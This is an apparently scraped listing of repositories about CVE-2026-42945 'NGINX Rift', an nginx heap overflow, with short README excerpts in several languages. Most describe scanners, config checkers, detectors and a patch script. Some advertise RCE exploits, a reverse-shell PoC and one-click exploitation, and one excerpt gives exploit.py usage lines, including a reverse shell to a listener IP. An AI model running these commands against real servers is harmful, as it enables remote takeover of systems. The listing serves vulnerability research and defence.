nGixshell

nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngxhttprewritemodule — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital,...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 配置扫描器 语言：中文 | English 这是一个用于检查 NGINX 配置是否存在 CVE-2026-42945（NGINX Rift）和 CVE-2026-9256 风险模式的轻量级脚本。 该漏洞由 depthfirst 在文章 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 中披露。根据文章和 F5/NVD 描述，风险与 ngxhttprewritemodule 的特定配置组合有关：在同一配置上下文中，rewrite 的替换字符串包含 ?，后续 rewrite、if 或 set...

CVE-2026-42945-nginx-rift

此存储库没有 README。...

CVE-2026-42945

Este repositorio no tiene un README...

CVE-2026-42945

CVE-2026-42945 PoC（Go） 中文 | English 针对 nginx HTTP/2 实现（CVE-2026-42945） 的探测与利用辅助工具，用于在授权环境 中验证漏洞是否存在、对照修复效果，并在可控实验环境中复现 PoC 行为。 受影响版本（粗判）：nginx 0.6.27 – 1.30.0 ；1.30.1+ / 1.31.0+ 已修复。 ⚠️ 免责声明（请务必阅读） 本仓库仅供安全研究、漏洞验证与防御性测试使用。 1. 合法授权 ：你只能在拥有明确书面授权 或完全归你所有...

nginx-rift-detector

Detector de Rift NGINX para CVE-2026-42945 Verificador Bash de solo lectura para servidores NGINX comprometidos. Ayuda a un operador a responder dos preguntas tras la divulgación de CVE-2026-42945: ¿Este servidor sigue ejecutando una compilación NGINX expuesta o una configuración de reescritura...

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 一键修复脚本 自动检测系统发行版，升级 NGINX 至修复版本 ≥1.30.1，并备份配置、自动回滚。 漏洞说明 漏洞编号： CVE-2026-42945 漏洞名称：NGINX Rift NGINX 在处理特定的 rewrite 跳转规则时，请求内容长度计算与实际写入不一致，攻击者可构造恶意请求触发内存破坏，导致工作进程崩溃，甚至远程代码执行。 受影响版本： 低于 NGINX 1.30.1 / 1.31.0 的所有版本 修复版本： NGINX 1.30.1 / 1.31.0 及以上 特性 自动发行版检测 — Ubuntu/Debian /...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — escáner defensivo Las organizaciones que ejecutan NGINX Open Source , NGINX Plus o ingress/controladores basados en NGINX deberían verificar si están afectadas por CVE-2026-42945 y aplicar el parche o reconfigurar antes de que los intentos de explotación lleguen a los...

nginx-rift-detect

nginx-rift-detect Script de detección por comportamiento para CVE-2026-42945 NGINX Rift — un desbordamiento de búfer en el montón en ngxhttprewritemodule presente en nginx desde 2008. ⚠️ Descargo de responsabilidad Esta herramienta está destinada exclusivamente a pruebas de seguridad e...

nginx-rift-check

nginx-rift-check Encuentra configuraciones vulnerables a CVE-2026-42945 , el desbordamiento de búfer en el heap del ngxhttprewritemodule de nginx. Ejecutar una versión afectada de nginx de 0.6.27 a 1.30.0 no es suficiente para ser explotable. La configuración debe contener un par específico de...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - RCE Crítico en NGINX CVSS 9.2 Clasificación Categoría: 0-Day / Ejecución Remota de Código CVE: CVE-2026-42945 CVSS: 9.2 Crítico Fecha de descubrimiento: 12 de mayo de 2026 Fecha de parche: Mayo de 2026 parche de seguridad trimestral de F5 Fuente: GitHub...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui a need run jdk21version java -jar cve-2026-42945-scanner.... Bulk scanning + one-click vulnerability exploitation 需要jdk21运行 解压后 java -jar cve-2026-42945-scanner.... 批量扫描 + 一键漏洞利用...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift PoC de RCE con Reverse Shell Prueba de concepto de ejecución remota de código para CVE-2026-42945 , un desbordamiento de búfer en el heap del módulo ngxhttprewritemodule de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado ...

Scanner_CVE_2026-42945

Scanner for detecting Nginx instances vulnerable to CVE-2026-42945 NGINX RIFT. Accepts individual IPs, CIDR ranges, and ASNs as input. About CVE-2026-42945 affects all Nginx versions prior to 1.30.1. The tool probes HTTP and HTTPS on default ports, reads the Server header from the response, and...

NGINX-Rift

NGINX Rift — CVE-2026-42945 / CVE-2026-9256 漏洞扫描与验证工具 NGINX Rift 是一款针对 CVE-2026-42945 和 CVE-2026-9256 （NGINX ngxhttprewritemodule 堆溢出漏洞）的开源扫描与验证工具。支持远程网络指纹扫描和本地深度配置审计，帮助安全团队快速排查 NGINX 环境中的潜在风险。 漏洞概述 CVE-2026-9256 CVSS 4.0: 9.2 Critical 属性| 详情 ---|--- CVE 编号| CVE-2026-9256 漏洞类型| 堆缓冲区溢出 Heap-based...

nginx-rift-scanner

nginx-rift-scanner Escáner Python 3 sin dependencias para CVE-2026-42945 "NGINX Rift" — un desbordamiento de búfer en montículo CWE-122 CRÍTICO 9.2 en CVSS v4.0 en ngxhttprewritemodule. Lo que detecta Se ejecutan dos comprobaciones independientes en cada invocación:...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

cve-2026-42945-scan

cve-2026-42945-scan 针对 NGINX 配置文件的静态扫描器，用于检测与 CVE-2026-42945 相关的 rewrite/set 模式。 该扫描器使用 crossplane 解析 NGINX 配置，遍历 location 块，并打印每个疑似受影响的 location，格式如下： root@kitploit: //xxx.conf: - location XXXXX 示例： root@kitploit: /path/to/nginx.conf:39 - location ^/api/.$ 参考：CVE-2026-42945-POC。 要求 Python 3.10...

CVE-2026-42945-NGINX-Rift-Check-Script

Este repositorio no tiene un README...

ai-vuln-rediscovery-nginx-cve-2026-42945

AI辅助重新发现nginx中的CVE-2026-42945 本仓库记录了一个可复现的AI辅助漏洞重新发现实验，针对nginx的ngxhttprewritemodule，该漏洞后来被关联为CVE-2026-42945。 该实验刻意缩小范围。易受攻击的文件src/http/ngxhttpscript.c被直接提供给模型进行审计。这并非声称AI系统从头开始自主地在完整的nginx代码库中找到了该问题。 摘要 被审计的漏洞是一个由nginx重写处理中脚本引擎状态过时导致的堆缓冲区溢出。 在高层面上： 1. 一个包含?的rewrite替换会设置e-isargs = 1。 2...